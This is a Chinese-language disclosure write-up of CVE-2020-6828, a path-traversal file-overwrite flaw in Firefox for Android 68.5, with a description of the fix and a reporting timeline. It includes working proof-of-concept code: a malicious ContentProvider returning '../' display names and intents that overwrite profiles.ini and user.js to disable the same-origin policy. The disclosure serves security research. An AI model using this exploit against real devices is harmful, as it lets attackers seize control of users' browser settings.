CVE-2020-6828:Firefox for Android任意文件覆蓋漏洞分析
2020年4月,Mozilla安全公告披露并修復了我在Firefox 68.5提交的一個漏洞,漏洞編號為CVE-2020-6828。攻擊者可利用該漏洞覆蓋Firefox私有目錄中的文件,從而控制瀏覽器的任意配置項,如配置代理服務器,關閉同源策略等,造成等同與任意代碼執行的危害。
漏洞原理
Firefox允許外部APP調用它打開Content URI。
<activity-alias android:label="Firefox" android:name=".App" android:targetActivity="org.mozilla.gecko.LauncherActivity">
<intent-filter android:priority="999">
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
<category android:name="android.intent.category.MULTIWINDOW_LAUNCHER"/>
<category android:name="android.intent.category.APP_BROWSER"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.BROWSABLE"/>
<category android:name="android.intent.category.DEFAULT"/>
<data android:scheme="file"/>
<data android:scheme="http"/>
<data android:scheme="https"/>
<data android:scheme="content"/>
<data android:mimeType="text/html"/>
<data android:mimeType="text/plain"/>
<data android:mimeType="application/xhtml+xml"/>
<data android:mimeType="image/svg+xml"/>
</intent-filter>
如果傳入的URI是Content URI,會調用org.mozilla.gecko.util.FileUtils.resolveContentUri。
Intent parseUri = Intent.parseUri(string, 0); if (FileUtils.isContentUri(string)) {
String resolveContentUri = FileUtils.resolveContentUri(getContext(), parseUri.getData()); if (!TextUtils.isEmpty(resolveContentUri)) {
geckoBundle2.putString("uri", resolveContentUri);
geckoBundle2.putBoolean("isFallback", true);
}
eventCallback.sendError(geckoBundle2); return;
}
resolveContentUri會將Content URI轉成File URI。
public static String resolveContentUri(Context context, Uri uri) {
String originalFilePathFromUri = ContentUriUtils.getOriginalFilePathFromUri(context, uri); if (TextUtils.isEmpty(originalFilePathFromUri)) {
originalFilePathFromUri = ContentUriUtils.getTempFilePathFromContentUri(context, uri);
} if (TextUtils.isEmpty(originalFilePathFromUri)) { return originalFilePathFromUri;
} return String.format("file://%s", originalFilePathFromUri);
}
重點看getTempFilePathFromContentUri,它調用了getFileNameFromContentUri來從ContentProvider中獲取文件名,并將其和Cache目錄拼接創建了一個文件,最后調用copy從ContentProvider中讀取數據寫入到該文件中。
public static String getTempFilePathFromContentUri(Context context, Uri uri) {
String fileNameFromContentUri = FileUtils.getFileNameFromContentUri(context, uri);
File file = new File(context.getCacheDir(), "contentUri"); boolean mkdirs = !file.exists() ? file.mkdirs() : true; if (TextUtils.isEmpty(fileNameFromContentUri) || !mkdirs) { return null;
}
File file2 = new File(file.getPath(), fileNameFromContentUri);
FileUtils.copy(context, uri, file2); return file2.getAbsolutePath();
}
再來看getFileNameFromContentUri,它直接從ContentProvider獲取_display_name作為文件名返回,沒有進行任何處理。
public static String getFileNameFromContentUri(final Context context, final Uri uri) { final ContentResolver cr = context.getContentResolver(); final String[] projection = {MediaStore.MediaColumns.DISPLAY_NAME};
String fileName = null; try (Cursor metaCursor = cr.query(uri, projection, null, null, null);) { if (metaCursor.moveToFirst()) {
fileName = metaCursor.getString(0);
}
} catch (Exception e) {
e.printStackTrace();
} return fileName;
}
當惡意的ContentProvider返回的_display_name為../evil時,即可跳出Cache目錄,導致任意文件覆蓋。
如何利用
在Firefox的私有目錄中有一個文件/data/data/org.mozilla.firefox/files/mozilla/profiles.ini,其中PATH為隨機生成的用戶目錄。
[Profile0]Name=defaultDefault=1IsRelative=1Path=irgc212v.default[General]StartWithLastProfile=1
在用戶目錄發現了一個文件prefs.js,內容如下:
// Mozilla User Preferences// DO NOT EDIT THIS FILE.//// If you make changes to this file while the application is running,// the changes will be overwritten when the application exits.//// To change a preference value, you can either:// - modify it via the UI (e.g. via about:config in the browser); or// - set it within a user.js file in your profile.user_pref("android.not_a_preference.addons_active", "[\"webcompat@mozilla.org\",\"default-theme@mozilla.org\"]");
user_pref("android.not_a_preference.addons_disabled", "[]");
...
從文件的內容得知,可以在用戶目錄中寫入一個user.js文件來修改瀏覽器的配置項。
創建一個惡意的ContentProvider并實現query和openFile方法。
@Override
public Cursor query(Uri uri, String[] strings, String s, String[] strings1, String s1) {
Log.d(TAG, "query: "+ Arrays.toString(strings));
String path = uri.getPath(); if (path.contains("user.js")) {
File payload = new File(getContext().getExternalCacheDir(), "user.js");
Log.d(TAG, "query: " + path);
String[] columnNames = new String[]{"_display_name", "_size"};
MatrixCursor matrixCursor = new MatrixCursor(columnNames, 1);
matrixCursor.addRow(new Object[]{"../../files/mozilla/user.js", payload.length()}); return matrixCursor;
} else if (path.contains("profiles.ini")) {
File payload = new File(getContext().getExternalCacheDir(), "profiles.ini");
Log.d(TAG, "query: " + path);
String[] columnNames = new String[]{"_display_name", "_size"};
MatrixCursor matrixCursor = new MatrixCursor(columnNames, 1);
matrixCursor.addRow(new Object[]{"../../files/mozilla/profiles.ini", payload.length()}); return matrixCursor;
} return null;
} @Override
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
Log.d(TAG, "openFile: "+uri.toString());
String path = uri.getPath(); if (path.contains("user.js")) {
File payload = new File(getContext().getExternalCacheDir(), "user.js"); return ParcelFileDescriptor.open(payload, ParcelFileDescriptor.MODE_READ_ONLY);
} else if (path.contains("profiles.ini")) {
File payload = new File(getContext().getExternalCacheDir(), "profiles.ini"); return ParcelFileDescriptor.open(payload, ParcelFileDescriptor.MODE_READ_ONLY);
} return null;
}
然后調用Firefox打開Content URI。
Intent intent = new Intent();
intent.setPackage("org.mozilla.firefox");
intent.setAction(Intent.ACTION_VIEW);
intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION
| Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
intent.setDataAndType(Uri.parse("content://com.app.poc/user.js"), "*/*");
startActivity(intent); try {
Thread.sleep(1000);
} catch (InterruptedException e) {
e.printStackTrace();
}
intent.setDataAndType(Uri.parse("content://com.app.poc/profiles.ini"), "*/*");
startActivity(intent);
第一步,先覆蓋/data/data/org.mozilla.firefox/files/mozilla/profiles.ini文件,將用戶目錄PATH修改為/data/data/org.mozilla.firefox/files/mozilla/。
[Profile0]Name=defaultDefault=1IsRelative=1Path=.[General]StartWithLastProfile=1
第二步,在/data/data/org.mozilla.firefox/files/mozilla/目錄寫入一個user.js文件,即可控制瀏覽器的任意配置項(具體配置可參見about:config),如寫入以下內容就可以關閉File下的同源策略。
user_pref("security.fileuri.strict_origin_policy", false);
漏洞修復
Firefox 68.7在FileUtils新增了sanitizeFilename方法,通過File.getName來對文件名進行清洗,解決了目錄遍歷的問題。
時間線
- 2020-02-25 – 漏洞提交
- 2020-03-02 – 漏洞確認
- 2020-03-16 – 漏洞修復&賞金發放
- 2020-04-07 – 發布安全公告和漏洞編號